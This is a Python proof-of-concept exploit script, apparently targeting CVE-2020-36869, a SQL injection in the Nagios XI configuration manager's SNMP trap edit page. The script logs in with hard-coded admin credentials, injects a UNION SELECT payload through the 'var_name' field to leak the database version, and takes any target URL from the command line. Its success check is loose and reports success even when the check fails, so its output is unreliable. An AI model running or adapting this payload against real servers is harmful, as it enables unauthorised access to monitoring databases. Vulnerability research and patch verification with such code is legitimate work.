# CVE-2020-36869 Nagios XI SQL Injection PoC
# Target: Nagios XI < 5.7.5
# Vulnerability: SQL Injection in SNMP Trap Interface Edit Page
import requests
import sys
from urllib.parse import urlencode
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
TARGET_URL = "https://target-server/nagiosxi/"
USERNAME = "admin"
PASSWORD = "password"
def exploit_sqli(target_url, username, password):
"""
SQL Injection PoC for CVE-2020-36869
This demonstrates extracting database version information
"""
session = requests.Session()
# Step 1: Login to Nagios XI
login_url = f"{target_url}login.php"
login_data = {
'username': username,
'password': password,
'loginButton': 'Login'
}
try:
response = session.post(login_url, data=login_data, verify=False, timeout=30)
if 'login' not in response.url.lower():
print("[+] Login successful!")
else:
print("[-] Login failed!")
return False
# Step 2: Navigate to SNMP Trap Interface Edit Page
snmp_url = f"{target_url}includes/components/ccm/?cmd=modify&type=snmp_trap"
response = session.get(snmp_url, verify=False, timeout=30)
# Step 3: Inject malicious SQL payload
# SQL Injection payload to extract database version
inject_url = f"{target_url}includes/components/ccm/?cmd=modify&type=snmp_trap"
# SQL Injection via trap var_name parameter
sqli_payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"
inject_data = {
'trap_id': '1',
'var_name': sqli_payload,
'submit': 'Save'
}
response = session.post(inject_url, data=inject_data, verify=False, timeout=30)
if '5.' in response.text or 'MariaDB' in response.text or 'MySQL' in response.text:
print("[+] SQL Injection successful! Database info leaked.")
print("[+] Vulnerability confirmed for CVE-2020-36869")
return True
else:
print("[*] SQL Injection payload sent, check manually for results")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
return False
if __name__ == "__main__":
print("="*60)
print("CVE-2020-36869 Nagios XI SQL Injection PoC")
print("="*60)
if len(sys.argv) > 1:
TARGET_URL = sys.argv[1]
exploit_sqli(TARGET_URL, USERNAME, PASSWORD)